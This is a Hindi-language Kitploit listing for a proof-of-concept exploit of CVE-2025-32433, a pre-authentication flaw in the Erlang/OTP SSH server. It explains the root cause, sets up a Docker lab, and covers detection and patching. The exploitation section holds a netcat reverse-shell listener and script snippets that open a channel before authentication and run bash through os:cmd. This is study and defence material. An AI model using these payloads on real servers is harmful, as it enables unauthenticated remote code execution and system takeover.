Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — CVE-2025-32433 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, एक Erlang/OTP SSH प्री-प्रमाणीकरण चैनल भ्रम भेद्यता, Docker प्रयोगशाला के साथ प्रमाणीकरण बाईपास और दूरस्थ कोड निष्पादन का प्रदर्शन। | Kitploit
उपकरण/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूल
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

CVE-2025-32433 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, एक Erlang/OTP SSH प्री-प्रमाणीकरण चैनल भ्रम भेद्यता, Docker प्रयोगशाला के साथ प्रमाणीकरण बाईपास और दूरस्थ कोड निष्पादन का प्रदर्शन।

रिपॉजिटरी देखें
2178 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Erlang/OTP SSH प्री-ऑथेंटिकेशन चैनल कन्फ्यूजन

📺 प्रूफ ऑफ कॉन्सेप्ट वीडियो

विवरण: Erlang/OTP SSH प्री-ऑथेंटिकेशन चैनल कन्फ्यूजन भेद्यता का एक प्रदर्शन।

पूरा डेमो YouTube पर देखने के लिए यहाँ क्लिक करें

सारांश

यह PoC किस बारे में है?

यह प्रूफ ऑफ कॉन्सेप्ट CVE-2025-32433 को प्रदर्शित करता है, जो Erlang/OTP SSH सर्वर कार्यान्वयन में एक भेद्यता है जो हमलावर को प्रमाणीकरण से पहले SSH चैनल खोलने और कमांड निष्पादित करने की अनुमति देता है।

SSH प्रोटोकॉल अवस्था संक्रमणों के अनुचित प्रवर्तन के कारण, कुछ SSH संदेश (SSH_MSG_CHANNEL_OPEN और SSH_MSG_CHANNEL_REQUEST) उपयोगकर्ता प्रमाणीकरण सफलतापूर्वक पूरा होने से पहले स्वीकार किए जाते हैं। इसके परिणामस्वरूप Erlang VM के भीतर पूर्ण प्रमाणीकरण बायपास और रिमोट कमांड निष्पादन होता है।


प्रभावित शर्तें

इसके काम करने के लिए क्या भेद्य होना चाहिए?

भेद्यता तब ट्रिगर की जा सकती है जब निम्नलिखित शर्तें पूरी हों:

  • Erlang/OTP के वे संस्करण जो इस भेद्यता से प्रभावित हैं, वे सभी निम्नलिखित संस्करणों से पहले और इन्हें शामिल करते हैं:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • Erlang ssh एप्लिकेशन सक्षम है
  • पासवर्ड-आधारित प्रमाणीकरण कॉन्फ़िगर किया गया है
  • SSH डेमन हमलावर के लिए सुलभ है
  • किसी वैध क्रेडेंशियल की आवश्यकता नहीं है

महत्वपूर्ण बात यह है कि यह समस्या कमजोर क्रेडेंशियल या गलत कॉन्फ़िगरेशन पर निर्भर नहीं है, बल्कि दोषपूर्ण प्रोटोकॉल अवस्था हैंडलिंग पर निर्भर है।


तकनीकी मूल कारण और शोषण प्रवाह

भेद्यता कैसे प्रकट होती है, और यह शोषणीय क्यों है?

यह समस्या Erlang/OTP SSH सर्वर में एक अवस्था कन्फ्यूजन दोष से उत्पन्न होती है, जहां चैनल-संबंधित संदेशों को संसाधित करने से पहले प्रमाणीकरण अवस्था को सख्ती से लागू नहीं किया जाता है।

उच्च स्तर पर, शोषण निम्नानुसार आगे बढ़ता है:

  1. हमलावर SSH संस्करण विनिमय और कुंजी विनिमय चरणों को पूरा करता है।
  2. सर्वर कनेक्शन को एक सक्रिय सत्र अवस्था में स्थानांतरित करता है, सफल उपयोगकर्ता प्रमाणीकरण को लागू किए बिना।
  3. हमलावर एक session चैनल के लिए SSH_MSG_CHANNEL_OPEN अनुरोध भेजता है।
  4. सर्वर गलत तरीके से प्रमाणीकरण पूर्ण होने से पहले चैनल अनुरोध स्वीकार करता है।
  5. खुले चैनल पर exec प्रकार का SSH_MSG_CHANNEL_REQUEST भेजा जाता है।
  6. Erlang SSH उपतंत्र अनुरोध को कनेक्शन हैंडलर को अग्रेषित करता है।
  7. आपूर्ति किया गया पेलोड VM संदर्भ में Erlang प्रिमिटिव (जैसे, os:cmd/1) के माध्यम से निष्पादित किया जाता है।

यह व्यवहार RFC 4252/4254 में परिभाषित SSH प्रोटोकॉल मॉडल का उल्लंघन करता है, जहां चैनल निर्माण और अनुरोध केवल सफल प्रमाणीकरण के बाद ही अनुमत होने चाहिए।

संक्षेप में:

  • प्रमाणीकरण अवस्था को ट्रैक किया जाता है लेकिन लागू नहीं किया जाता
  • चैनल हैंडलिंग सत्र अवस्था पर निर्भर है, प्रमाणीकरण अवस्था पर नहीं
  • ssh_connection प्रक्रिया exec अनुरोधों को समय से पहले संसाधित करती है
  • यह प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन को सक्षम बनाता है

यह एक तर्क और अवस्था प्रबंधन भेद्यता है, क्रिप्टोग्राफिक कमजोरी नहीं।


बिल्ड और डिप्लॉयमेंट

निम्नलिखित चरण Docker का उपयोग करके एक स्व-निहित भेद्य वातावरण बनाते और तैनात करते हैं। कंटेनर एक जानबूझकर कठोर SSH सर्वर चलाता है जो सभी क्रेडेंशियल्स को अस्वीकार करता है, यह सुनिश्चित करता है कि कोई भी सफल कमांड निष्पादन प्रमाणीकरण बायपास का परिणाम है।

git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

build

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

एक बार चलने के बाद, SSH डेमन पोर्ट 2222 पर उजागर होगा और प्रदान किए गए PoC का उपयोग करके शोषण के लिए तैयार होगा।


शोषण

यह स्क्रिप्ट Erlang/OTP SSH सर्वर में एक दोष का शोषण करती है जो प्रमाणीकरण से पहले कुछ SSH प्रोटोकॉल संदेशों को संसाधित करने की अनुमति देता है।

शोषण प्रक्रिया में दो टर्मिनलों की आवश्यकता होती है: एक रिवर्स कनेक्शन प्राप्त करने के लिए, और दूसरा शोषण लॉन्च करने के लिए।

  • श्रोता (टर्मिनल 1):

    nc -lvnp 4488
    
  • शोषण निष्पादन (टर्मिनल 2):

    python3 exploit.py
    

शोषण स्क्रिप्ट वॉकथ्रू

  1. प्रोटोकॉल स्पूफिंग

    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    इन संदेशों का उपयोग सर्वर को कनेक्शन को एक वैध SSH क्लाइंट के रूप में मानने के लिए किया जाता है। वे SSH प्रोटोकॉल अवस्था को प्रमाणीकरण पूरा किए बिना चैनल-संबंधित संदेशों की अनुमति देने के लिए पर्याप्त रूप से आगे बढ़ाते हैं।

  2. प्री-ऑथेंटिकेशन सत्र चैनल

    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    इस अनुरोध का उपयोग प्रमाणीकरण से पहले एक सत्र चैनल खोलने के लिए किया जाता है। भेद्य Erlang/OTP SSH सर्वरों पर, यह सामान्य पहुंच नियंत्रणों को बायपास करता है और एक अनधिकृत सत्र बनाता है।

  3. कमांड निष्पादन अनुरोध

    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    इस अनुरोध का उपयोग Erlang रनटाइम के माध्यम से कमांड निष्पादन को ट्रिगर करने के लिए किया जाता है। पेलोड को Erlang सिंटैक्स में लपेटने से यह सुनिश्चित होता है कि कमांड Erlang VM द्वारा निष्पादित की जाती है, न कि मानक SSH शेल कमांड के रूप में मानी जाती है।

परिणाम

यदि लक्ष्य भेद्य है, तो आपूर्ति की गई कमांड बिना प्रमाणीकरण के निष्पादित की जाती है।

exploit

nc


रक्षा

इस भेद्यता के खिलाफ रक्षा सख्त नेटवर्क विभाजन और प्रोटोकॉल-स्तर की निगरानी पर निर्भर करती है, क्योंकि मानक प्रमाणीकरण लॉग बायपास प्रयासों को रिकॉर्ड नहीं कर सकते हैं (क्योंकि प्रमाणीकरण छोड़ दिया जाता है)।

  • नेटवर्क प्रतिबंध: Erlang SSH पोर्ट (डिफ़ॉल्ट या कस्टम) को सार्वजनिक इंटरनेट पर उजागर न करें। विश्वसनीय आईपी तक पहुंच प्रतिबंधित करें या VPN/बैस्टियन होस्ट की आवश्यकता हो।
  • IDS/IPS हस्ताक्षर: इंट्रूज़न डिटेक्शन सिस्टम को कॉन्फ़िगर करें ताकि SSH सत्रों पर अलर्ट हो जहां SSH_MSG_CHANNEL_OPEN (प्रकार 90) पैकेट कुंजी विनिमय के तुरंत बाद भेजे जाते हैं, बिना किसी पूर्व SSH_MSG_USERAUTH_SUCCESS (प्रकार 52) पैकेट के।
  • रनटाइम निगरानी: Erlang VM में अप्रत्याशित os:cmd कॉल या शेल प्रक्रिया स्पॉनिंग की निगरानी करें जो एप्लिकेशन लॉग में सफलतापूर्वक लॉग-इन उपयोगकर्ता सत्र से संबंधित नहीं है।

शमन

एकमात्र पूर्ण उपचार अंतर्निहित Erlang/OTP रनटाइम को पैच करना है ताकि सख्त अवस्था संक्रमणों को लागू किया जा सके।

1. Erlang/OTP अपडेट करें

Erlang/OTP रनटाइम को तुरंत एक ऐसे संस्करण में अपग्रेड करें जो चैनल निर्माण से पहले प्रमाणीकरण जांच लागू करता है। सुनिश्चित करें कि आप "प्रभावित शर्तें" अनुभाग में सूचीबद्ध संस्करणों से नया संस्करण चला रहे हैं।

नवीनतम सुरक्षा पैच के लिए आधिकारिक Erlang/OTP GitHub रिलीज़ देखें।

2. अस्थायी वर्कअराउंड

यदि तत्काल अपग्रेड संभव नहीं है, तो निम्नलिखित नियंत्रण लागू करें:

  • SSH एप्लिकेशन अक्षम करें: यदि SSH इंटरफ़ेस मिशन-क्रिटिकल नहीं है, तो हमले की सतह को हटाने के लिए एप्लिकेशन को रोकें:

    ssh:stop().
    
  • फ़ायरवॉल व्हाइटलिस्टिंग: उजागर SSH पोर्ट तक नेटवर्क पहुंच को केवल आंतरिक, प्रशासनिक सबनेट तक सीमित करें।


सहयोगी

AntonieSoga Antonie Șoga AntonieSoga · सहयोगी

7uddy Ene Călin Tudor 7uddy · सहयोगी

टूल डाउनलोड करें